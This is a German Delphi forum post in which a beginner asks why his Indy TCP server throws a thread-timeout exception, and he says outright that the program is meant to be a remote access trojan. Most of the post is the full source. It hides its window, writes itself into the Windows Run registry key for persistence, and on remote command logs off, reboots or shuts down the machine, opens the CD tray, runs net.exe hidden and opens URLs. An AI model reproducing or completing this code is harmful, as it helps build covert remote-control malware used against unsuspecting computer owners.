Einzelnen Beitrag anzeigen

the_seed

Registriert seit: 31. Dez 2003
213 Beiträge
 
#1

es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 12:02
Hi hab mir einen kleinen idtcp server zusammen gebastelt , soll eigentlich ein rat werden, ich bin noch anfänger und weiss noch nicht so gut darüber bescheid.. wenn ich einen befehl vom clienten her schicke wird er zwar ausgeführt aber ca. 7sek dannach kommt eine fehlermeldung,

"Im ... ist eine exception der klasse eldterminate Thread timeout aufgetreten Meldung: 'Zeitüberschreitung bei beendung von thread' Prozess wurde angehalten ....





Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent,registry, IdComponent, IdTCPServer, ExtCtrls,shellapi,mmsystem,
  IdAntiFreezeBase, IdAntiFreeze;

type
  TForm1 = class(TForm)
    IdTCPServer1: TIdTCPServer;
    IdAntiFreeze1: TIdAntiFreeze;
    procedure IdTCPServer1Execute(AThread: TIdPeerThread);
    procedure FormCreate(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var m,u,param,p:string;
label st,lol,cht,ever,ende,url,n1,n2;
var reg:tregistry;
sSite: String;
begin

m := aThread.Connection.Readln;
if m='nthen goto lol;
if m='logthen ExitWindowsEx(EWX_LOGOFF, 0);
if m='newthen ExitWindowsEx(EWX_REBOOT, 0);
if m='downthen ExitWindowsEx(EWX_SHUTDOWN, 0);
if m='closethen goto ende;
if m='urlthen goto url;
if m='cd1then mciSendString('Set cdaudio door open wait', nil, 0, handle);
if m='cd2then mciSendString('Set cdaudio door closed wait', nil, 0, handle);
if m='n1then goto n1;
if m='n2then goto n2;
if m='chtthen form2.show;
begin

lol:
begin
try
u := aThread.Connection.Readln;
showmessage(u);
except end;
end;

n1:
begin
try
Param := 'start messenger';
ShellExecute (GetDesktopWindow, 'open', 'net.exe', PChar(Param), nil, SW_HIDE);
finally end;

n2:
begin
try
Param := 'stop messenger';
ShellExecute (GetDesktopWindow, 'open', 'net.exe', PChar(Param), nil, SW_HIDE);
finally end;

ende:
begin
try
idtcpserver1.active:=false;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.DeleteValue('form1');
Reg.Destroy;
finally
end;


url:
begin
try
u := aThread.Connection.Readln;
sSite := Trim(u);
if Pos('://', sSite) <= 0 then
sSite := 'http://' + sSite;
ShellExecute(Form1.Handle, 'open', PChar(sSite), nil, nil, SW_SHOWNORMAL);
finally
end;
end;
end;
end;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  hwndOwner: HWnd;
    Reg: TRegistry;
begin
  try
  hwndOwner := GetWindow(Handle, GW_OWNER);
  ShowWindow(hwndOwner, SW_HIDE);
  ShowWindowAsync(hwndOwner, SW_HIDE);
  ShowWindowAsync(Self.Handle, SW_HIDE);

   Reg := TRegistry.Create;
  Reg.RootKey := HKEY_CURRENT_USER;
  Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
  Reg.WriteString('form1', ParamStr(0));
  Reg.Destroy;
  finally end;

end;
end.
Bitte um hilfe..
  Mit Zitat antworten Zitat